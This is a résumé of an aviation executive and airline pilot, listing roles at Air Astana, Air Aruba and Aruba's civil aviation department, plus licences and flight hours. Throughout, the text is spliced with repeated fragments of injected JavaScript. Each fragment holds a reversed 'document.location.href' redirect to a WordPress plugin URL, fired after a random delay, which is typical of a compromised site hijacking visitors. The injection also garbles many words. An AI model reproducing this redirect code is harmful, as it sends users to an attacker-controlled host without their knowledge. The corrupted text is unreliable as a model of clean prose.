Qualifications Summary
Patrick Rotsaert is an accomplished executive, manager, auditoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, flight examiner, ground and flight instructoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor and airline pilot with international experience in airline start-ups, airline operation management, airline quality assurance management training development and management. In addition Mr. Rotsaert has developed expertise in, airline operation publications, civil aviation authority regulation development, civil aviation authority inspection programs development, civil aviation authority operation, aerodrome and licensing management and aviation autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomation solution development and implementation. He has over (25) twenty five years of diversified aviation industry experience.
| Results-oriented leader with proven success in airline and civil aviation authority’s operation development, implementation, strategic thinking, planning and problem solving. |
| Provided strategic business planning, leadership for safety-profitability balance, bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom-line responsibility, safety risk management. |
| Proven track record of consistently increasing safety awareness and regulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory compliance levels amongst employees, custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers and management. |
| Established new methodologies and tracking systems with the integration of latest autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools at low costs. |
| Elaborated policies, procedures and created guidance, reference and training publications. |
| Trained ground and flight staff. |
| Served as successful company and operation spokesperson. |
| Thrived in entrepreneurial, dynamic, and fluid environments while remaining pragmatic and focused. |
| Played a key role in establishing good reputation of airline and civil aviation authority. |
| Successfully adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mixed cultural environments and lead staff accordingly. |
Aviation Related Professional Experience
2004 – Present, Air Astana, Almaty, Kazakhstan, Vice President of Operations (under contract with International Air Safety Office (IASO), Miami, Florida.
Air Astana Operations. Revised completely the Flight Operations organization, revised entirely the salary system and promotion policies, revised the training requirements, revised all operations manual (JAR-OPS standard), renegotiated all training contracts, participated in the negotiation of new aircraft leasing contracts and selection of new type of aircraft, reviewed crew requirements, helped the local Civil Aviation Authority in its migration toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towards the JAR (EASA) standards, helped the IT department at a corporate level, helped in the elaboration of organization corporate policies, reviewed the dispatching department, implemented new flight planning system, supervised the implementation of a new Flight Safety system and data equipment and analysis, selected and implemented a new global autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomation system (AIMS), proposed a new AB-INITIO program and budget toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Government.
Key achievements
| Major cost savings in different operational areas |
| Increased productivity and reliability of operational staff |
| Increased safety and responsibility awareness |
| Implemented reliable follow-up methods and western style methodologies. |
| Increased the qualification and experience of the crew and staff |
| Developed policies, regulations, procedures and guidelines for all staff and employees |
| Built thrust of the Authorities and the employee’s vis-à-vis the company. |
2003 – 2004, Air Astana, Almaty, Kazakhstan, Aviation Consultant (under contract with International Air Safety Office (IASO), Miami, Florida.
Air Astana Flight Operations for the introduction of turboprops
2000 – 2003, Department of Civil Aviation of Aruba, Operations, Licensing and Aerodrome Inspection Manager
Help revise the Aviation Act, developed and adapted regulations, and means of compliance and inspection programs. Prepared for an upcoming ICAO assessment, elaborated training plans for inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors for local and abroad training, provided training on the job (OJT), exercised daily activities (Principal Operations Inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, Head of Licensing and Aerodrome), liaised with FAA, JAA and other Civil Aviation Authorities. Implemented new methodologies and follow-up methods. Managed new AOC assessment projects, operatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor (airline and aerodrome) recertification, and aerodrome obstacle related matters, analyzed and proposed new departure and arrival navigation procedures. Promoted team concepts, human communications and acceptance of other ideas. Developed and implemented cheap but efficient computer autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomation solutions for inspection and licensing activities. Reviewed and proposed new job descriptions, organization and salary scales. Directed incident investigations leading toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the proposal of safety enhancement corrective actions or penalties.
Key achievements
| Increased productivity and reliability of the inspection workforce |
| Increased safety and responsibility awareness |
| Implemented reliable follow-up methods |
| Increased the qualification and experience of the staff |
| Developed policies, regulations, procedures and guidelines for inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, staff and the public |
1997 – 2000, Air Aruba, Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of Quality Assurance (OPS), Head of Publications, Civil Aviations liaison, Project Manager
Developed and published new operation policies and procedures based on the new JAR regulations. Performed training on these new policies and procedures. Developed various autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated (computer) programs for flight and ground operations and staff training. Developed and implemented an accident/incident prevention program. Developed and implemented a quality assurance program based on the JAR-OPS 1.035 and ISO 9000 concepts. Analyzed and investigated internal deficiencies (safety, compliance and efficiency issues). Member of an internal financial study team toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to re-assess entirely the company, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to present a viability plan and a new business plan, produce a new (network) route study and analyze the equipment need of the Company.
Coordinated a project toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to re-organize completely the maintenance department and implement a new MSG-3 program from Boeing with the associated reliability and CASP programs. The process included the integration of Operations and Maintenance data input toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide timely information toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the rest of the Company (MIS, statistics, and cross-checks).
Key achievements
| Rendered the airline compliant with the new regulations based on the JAR’s |
| Substantially improved productivity while reducing staffing and operating costs |
| Implemented a technical quality system and general quality policy adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the local culture |
| Enhanced substantially the overall safety level. |
1996 – 1997, Department of Civil Aviation of Aruba, ICAO compliance program Coordinatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor
In order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get ARUBA intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to category 1 (IASA-FAA system-ICAO Compliance), reviewed the legal system, helped toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to modify the Aviation Act, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to legalize the identity of the Aviation Department, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to establish the authority and responsibilities of its Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, the inspection section, development of the new regulations and means of compliance, development of the inspection procedures, technical organization (autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomation etc.).
Key achievements
| Implemented a team concept |
| Achieved a remarkable level of compliance with the ICAO SARPS and the IASA-FAA category 1 |
| Re-certificated existing airlines. |
1992 – 1995, Air Aruba, Program Manager
Presented an operational study toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to incorporate the first large jets intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Company’s fleet. Coordinated the acquisition of the new jet aircraft. Started up and ran a new Flight Operations for Air Aruba. Instructed ground and flight personnel (ground, flight and simulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor) (Captain and F/O initials, basic indoctrination, basic and advanced aircraft performance, aerodynamics, jet engines, Omega, FMS, GPS, initial flight training, transition, upgrades, IOE, proficiency checks, line checks, instructoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor checks). Created the operation manuals, MELs and flight time limitation program.
Key achievements
| Successfully started up and managed a new complex and safe operation with various cultural differences between employees and Management |
| Indoctrinated Management and staff on safety awareness and responsibilities |
| Successfully balanced safety/compliance with operational costs. |
1986 – 1991, TEA (Trans-European Airways), B737-200/300 and Airbus A300 Captain and ground instructoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor
Helped launching a new operation for TEA-Turkey. Instructed at EATC (European Aerospace Training Center). Flew as line pilot in several different sub-operations internationally.
Key achievements
| Acquired a solid international experience as airline Captain |
| Helped actively in operations. (Manuals, training and new startup) |
| Learned from training flight crews of different origins and cultural backgrounds. |
1987 – 1991, Starline International, Founder and Managing Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor
Established the company (Computer Telecommunication Development, wholesaler for a dealer network for the BENELUX and North of France regions). Analyzed custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer needs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to elaborate program (software) operation and crew scheduling solutions for charter operations and sales men. Launched and marketed an in-house complete product (adaptive software) “MEPAS” for general medical doctoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors. Distributed an accounting software solution compliant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to local laws.
Key achievements
| Acquired a solid computer expertise in hardware and software |
| Developed a good business expertise and negotiation skills |
| Founded a good profitable business |
| Learned about human factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors relationships between man-machine. |
1985 – 1986, SABENA (EAT), Commuter pilot
Key achievements
Learned about European operations and difficult [weather] environments
1982 – 1985, Sozadex / T.M.B. Aviation, Managing Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor (and pilot)
Startup and managed a VIP and Corporate flight operation for flights for a large business group and external corporate custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers, a corporate aviation handling division. Studied and proposed a large Aviation Cargo Transport operation for the group. Implemented a large telecommunication division for the group (19 medium toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to large companies).
1976 – 1984, Free-Lancing, Consultancy & Miscellaneous
Official Aviation Accidents and Incidents Insurance Inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor for the whole Zairian Territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory for the Aviation Insurance Company AVIABEL (AVIAtion BELgium) being attaché toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Antwerps
Prior toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 1980, Belgium Army, Ballistic nuclear shooting specialist and light aviation Alouette II helicopter division.
DEKEERSMACKER Expertise Bureau
| Aircraft Sales and studies (small toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to medium categories) |
| SOTACO Chief Pilot/Check Airman. (C-404, C-402, B-60) |
| SIFORZAL Pilot interim and ZAS (Zairian Air Services) Free-lance Pilot (DC3) |
| 6 Months contract with ENRA/ENZYMAZES International in ZAIRE and BELGIUM for Aircraft |
| Purchase, Pilot Instructoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, Small Operation Setup, 1000 m airfield construction (remote area) |
| Ferries, Charters, Aviation School part time Manager and Aerobatic Pilot |
| Army Duty as Ballistic Nuclear Shooting Specialist (SAS organization) and Light Aviation (Helicopter Alouette II). |
Professional Pilot Experience
Current Licenses
JAA ATPL # B114528 current
US ATPL # 2364631 current
Aruba ATPL # TA-92/017 current
Hours
Total: 10750
Flight Instructoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor: approx 350 hours (Jet)
Other Qualifications
TRI & TRE of ARUBA.
Areas and Type of Experience
Various experiences on different jets and different cockpits (EFIS, non-EFIS, FMS, GPS, OMEGA) in various parts of the world (Europe, Africa, Caribbean, USA, South America) and CATII. Different type of operations such as scheduled airline, charter airline, cargo, air taxi and sanitary evacuation.
| Make and model |
Date Last Flown |
PIC hrs. |
CoP Hrs. | Type Rating |
| Airbus A320 | 25-Aug-03 | SIM + ZFTT | Y | |
| Boeing B737-200 |
5-Mar-91 |
4.16 |
1156.92 | Y |
| Boeing B737-300 |
13-Mar-92 |
990.47 | 1395.92 | Y |
| Boeing B737- 700 NG |
15-Mar-05 |
26.32 | Y | |
| Douglas DC9-30 |
21-Mar-00 |
363.31 | 8.58 | Y |
| Douglas MD83 |
7-Feb-98 |
423.74 | 69.69 | Y |
| Douglas MD88 |
26-Aug-00 |
2382.48 | 32.35 | Y |
Various multi-engine turboprops and multi-engine & single engine pistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons
Education
| European (JAA) Airline Transport Pilot License (Belgian Academy) |
| FAA Airline Transport Pilot License |
| E.C.A.M. University in Brussels (Electro mechanics) (interrupted for Aviation orientation). |
| Graduation of Belgian High School (Science and Mathematics) with access toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to superior studies in- Elizabethville-Various specialized courses throughout career |
Personal Information
Married toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ann Rotsaert, Mr. Rotsaert has (1) one son, Kevin. The family resides in Almaty, Kazakhstan. Mr. Rotsaert speaks the following languages: English, French and Dutch. He is in excellent health, no drinking, no smoking and exercises regularly.